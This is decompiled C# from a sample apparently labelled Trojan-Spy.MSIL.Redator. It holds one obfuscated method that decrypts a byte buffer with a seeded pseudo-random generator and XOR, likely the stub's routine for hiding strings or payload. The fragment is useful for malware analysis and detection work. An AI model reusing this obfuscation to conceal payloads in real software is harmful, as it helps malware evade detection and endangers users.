// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null
// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe

using System.Runtime.InteropServices;

namespace \u0006
{
  internal static class \u0002
  {
    public static byte[] \u0003([In] byte[] obj0, [In] byte[] obj1)
    {
      byte num1 = obj0[1];
      int length = obj1.Length;
      byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
      uint num3 = (uint) (((int) obj0[0] | (int) obj0[2] << 8) + ((int) num2 << 3));
      ushort num4 = 0;
      for (int index = 0; index < length; ++index)
      {
        if ((index & 1) == 0)
        {
          num3 = (uint) ((int) num3 * 214013 + 2531011);
          num4 = (ushort) (num3 >> 16);
        }
        byte num5 = (byte) num4;
        num4 >>= 8;
        byte num6 = obj1[index];
        obj1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
        num2 = num6;
      }
      return obj1;
    }
  }
}
